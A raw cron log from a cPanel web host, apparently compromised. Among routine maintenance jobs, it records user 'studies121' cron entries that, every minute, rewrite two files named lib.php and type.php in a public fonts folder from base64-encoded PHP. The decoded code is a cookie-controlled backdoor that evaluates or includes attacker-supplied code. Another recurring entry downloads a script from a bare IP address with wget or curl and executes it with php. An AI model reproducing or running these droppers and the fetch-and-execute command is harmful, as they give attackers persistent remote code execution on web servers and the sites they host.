Sep 21 16:10:01 ip-184-168-122-23 CROND[7049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:10:01 ip-184-168-122-23 CROND[7050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:10:01 ip-184-168-122-23 CROND[7055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:10:01 ip-184-168-122-23 CROND[7053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:10:01 ip-184-168-122-23 CROND[7054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:10:01 ip-184-168-122-23 CROND[7051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:10:01 ip-184-168-122-23 CROND[7052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:10:01 ip-184-168-122-23 CROND[7061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:11:01 ip-184-168-122-23 CROND[7157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:11:01 ip-184-168-122-23 CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:11:01 ip-184-168-122-23 CROND[7159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:11:01 ip-184-168-122-23 CROND[7160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:12:01 ip-184-168-122-23 CROND[7263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:12:01 ip-184-168-122-23 CROND[7261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:12:01 ip-184-168-122-23 CROND[7262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:12:01 ip-184-168-122-23 CROND[7264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:12:01 ip-184-168-122-23 CROND[7265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:13:01 ip-184-168-122-23 CROND[7494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:13:01 ip-184-168-122-23 CROND[7495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:13:01 ip-184-168-122-23 CROND[7498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:13:01 ip-184-168-122-23 CROND[7497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:14:01 ip-184-168-122-23 CROND[7609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:14:01 ip-184-168-122-23 CROND[7611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:14:01 ip-184-168-122-23 CROND[7612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:14:01 ip-184-168-122-23 CROND[7613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:14:01 ip-184-168-122-23 CROND[7614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7739]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:15:01 ip-184-168-122-23 CROND[7746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:15:01 ip-184-168-122-23 CROND[7747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:16:01 ip-184-168-122-23 CROND[7890]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 16:16:01 ip-184-168-122-23 CROND[7893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:16:01 ip-184-168-122-23 CROND[7896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:16:01 ip-184-168-122-23 CROND[7894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:16:01 ip-184-168-122-23 CROND[7897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:16:01 ip-184-168-122-23 CROND[7895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:17:01 ip-184-168-122-23 CROND[8011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:17:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:17:01 ip-184-168-122-23 CROND[8015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:17:01 ip-184-168-122-23 CROND[8016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:18:01 ip-184-168-122-23 CROND[8152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:18:01 ip-184-168-122-23 CROND[8154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:18:01 ip-184-168-122-23 CROND[8155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:18:01 ip-184-168-122-23 CROND[8157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:18:01 ip-184-168-122-23 CROND[8156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:19:01 ip-184-168-122-23 CROND[8285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:19:01 ip-184-168-122-23 CROND[8288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:19:01 ip-184-168-122-23 CROND[8289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:19:01 ip-184-168-122-23 CROND[8287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:20:01 ip-184-168-122-23 CROND[8396]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:20:01 ip-184-168-122-23 CROND[8406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:20:01 ip-184-168-122-23 CROND[8407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:21:01 ip-184-168-122-23 CROND[8512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:21:01 ip-184-168-122-23 CROND[8516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:21:01 ip-184-168-122-23 CROND[8514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:21:01 ip-184-168-122-23 CROND[8517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:22:01 ip-184-168-122-23 CROND[8733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:22:01 ip-184-168-122-23 CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
